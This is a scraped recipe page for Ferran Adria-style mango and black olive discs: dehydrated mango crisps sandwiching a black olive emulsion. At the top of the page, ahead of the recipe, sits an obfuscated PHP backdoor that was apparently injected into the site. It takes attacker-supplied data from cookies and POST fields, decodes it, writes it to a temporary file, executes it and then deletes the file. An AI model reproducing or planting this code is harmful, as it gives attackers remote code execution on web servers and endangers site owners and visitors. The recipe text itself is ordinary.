$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();} Mango and Black Olive Discs | Molecular Recipes
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11Feb/14

Mango and Black Olive Discs

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Chef Ferran Adria delights us with a great pairing of mango and black olive in interesting textures. Using what he calls the croquanter technique, he makes a crunchy mango disc by dehydrating a mixture of mango puree and sugars. The discs are used to form a "sandwich" filled with a smooth and intense emulsion of black olive water and oil.

Mango and Black Olive Discs -2

Ingredients

Dehydrated Mango Crisps

- 150g (5.3 oz) mango puree

- 25g (0.9 oz) Isomalt

- 5g (0.18 oz) glucose

- 45g (1.6 oz) icing (confectioner's) sugar

Black Olive Water and Oil

- 400g black olives

Black Olive Emulsion

- 50 g black olive water previously prepared

- ½ gelatin leaf, rehydrated in cold water

- 0.5 g sucrose ester

- 50 g black olive fat, previously prepared

- 0.5 g glycerin flakes

Preparation

Dehydrated Mango Crisps

1- Blend the mango puree, Isomalt, glucose and half the icing (confectioner's) sugar in a Thermomix at 80 °C (175 °F) for 5 minutes. If you don't have a Thermomix heat the ingredients in a pot over medium heat while blending with an immersion blender.

2- Strain the mixture and add the rest of the sugar, stirring with a whisk.

3- Place a stencil with circular shapes on silicon mat that fits your dehydrator. Secure it to the counter using some scotch tape.

4- Using a spatula, spread the mango mix over the stencil removing any excess.

5- Carefully lift the stencil.

6- Place the silicon mat in the dehydrator at 54 °C (130 °F) and wait for 48 hours.

8- Use immediately or store in a sealed container with desiccant packets.

Mango and Black Olive Discs

Black Olive water and oil

1- Stone (pit) the olives and purée them in a blender.

2- Squeeze the puree through a Superbag or using a fine sieve covered with a few layers of cheesecloth to obtain as much liquid as possible.

3- Pour the liquid into a measuring cup and store in a cool, dry place.

4- After 12 hours, the fat will have risen to the top. Separate the fat from the liquid.

5- Refrigerate both parts.

Black Olive Emulsion

1- Dissolve the gelatin with a third of the black olive water over a medium heat, then add the remaining water.

2- Add the sucrose ester and process with a hand-held blender.

3- At the same time, dissolve the glycerin flakes with the black olive fat at around 50 °C (120 °F).

4- Gradually add the fat to the black olive water while processing with the hand-held blender.

5- Refrigerate for 2 hours.

6- Once it has set, make 10  0.2g portions.

Assemble and Serve

1- Place 10 mango discs on serving plate and put 0.2g of olive emulsion on top of each disc.

2- Place another mango disc on top of each one. Serve immediately.

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